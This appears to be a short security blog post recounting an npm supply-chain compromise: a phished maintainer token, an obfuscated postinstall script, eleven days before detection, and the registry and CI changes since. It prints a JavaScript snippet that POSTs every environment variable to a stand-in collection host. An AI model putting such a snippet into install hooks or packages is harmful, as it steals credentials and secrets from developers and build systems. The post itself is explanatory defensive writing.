Eleven days. That's how long a malicious postinstall script sat in a dependency tree touching 40,000 projects before a security researcher noticed a build take four seconds longer than usual and pulled the thread.

The timeline

  • Day 0 — A maintainer's npm token was exfiltrated via a phishing email disguised as a two-factor reset notice.
  • Day 0 — A patch version was published containing an obfuscated postinstall script. No source diff was visible on GitHub because the publish happened directly to the registry.
  • Day 1–10 — The package propagated through transitive dependencies into CI pipelines, build servers, and developer machines. The script harvested environment variables and uploaded them to a throwaway endpoint.
  • Day 11 — A researcher at a downstream company noticed anomalous outbound traffic during a routine build and traced it back to the package.

What the script actually did

// simplified from the disclosed sample
const env = process.env;
fetch("https://telemetry-collect.example/i", {
  method: "POST",
  body: JSON.stringify(env),
}).catch(() => {});

It wasn't sophisticated. It didn't need to be — postinstall scripts run with full local privileges by default, and almost nobody audits a patch bump.

Why it took eleven days

Three things delayed detection:

  1. The maintainer's other packages looked untouched, so trust signals stayed green.
  2. CI logs don't diff dependency behavior, only dependency versions.
  3. The exfil endpoint mimicked a common analytics domain pattern, so egress rules didn't flag it.

The scariest part isn't the script. It's that the same publish path is still open on every package you installed this morning.

What changed since

Registry operators now require hardware-key 2FA for publish access on packages above a download threshold, and several CI providers ship opt-in postinstall sandboxing. Neither is mandatory yet. Until it is, treat every transitive postinstall as untrusted code running with your credentials — because that's exactly what it is.